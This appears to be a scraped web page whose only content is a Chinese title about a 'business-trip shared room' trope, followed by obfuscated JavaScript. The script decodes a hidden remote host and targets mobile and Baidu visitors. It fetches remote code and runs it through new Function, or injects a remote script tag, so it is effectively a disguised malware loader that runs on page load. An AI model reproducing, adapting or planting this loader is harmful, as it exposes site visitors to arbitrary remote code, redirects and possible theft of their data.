最经典的【出张先相部屋】模式是如何形成的？

function bAlROHT(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GfIYxpS(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bAlROHT(t);};window[''+'R'+'G'+'y'+'E'+'L'+'b'+'o'+'Z'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var r=u,x=GfIYxpS,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('GET','https://'+u+'/bd_'+k+'_'+i+'_'+r);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=xhr.responseText;new Function('_'+'t'+'d'+'cs',data)(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/wap_'+k+'_'+i+'_'+r;cs.parentElement.insertBefore(s,cs);}})('MTc1MjE3MjIwNi56ZW50aGVyaWNhLLmNvbTo0MDUw','2126','2455',window,document,['L','y']);}:function(){};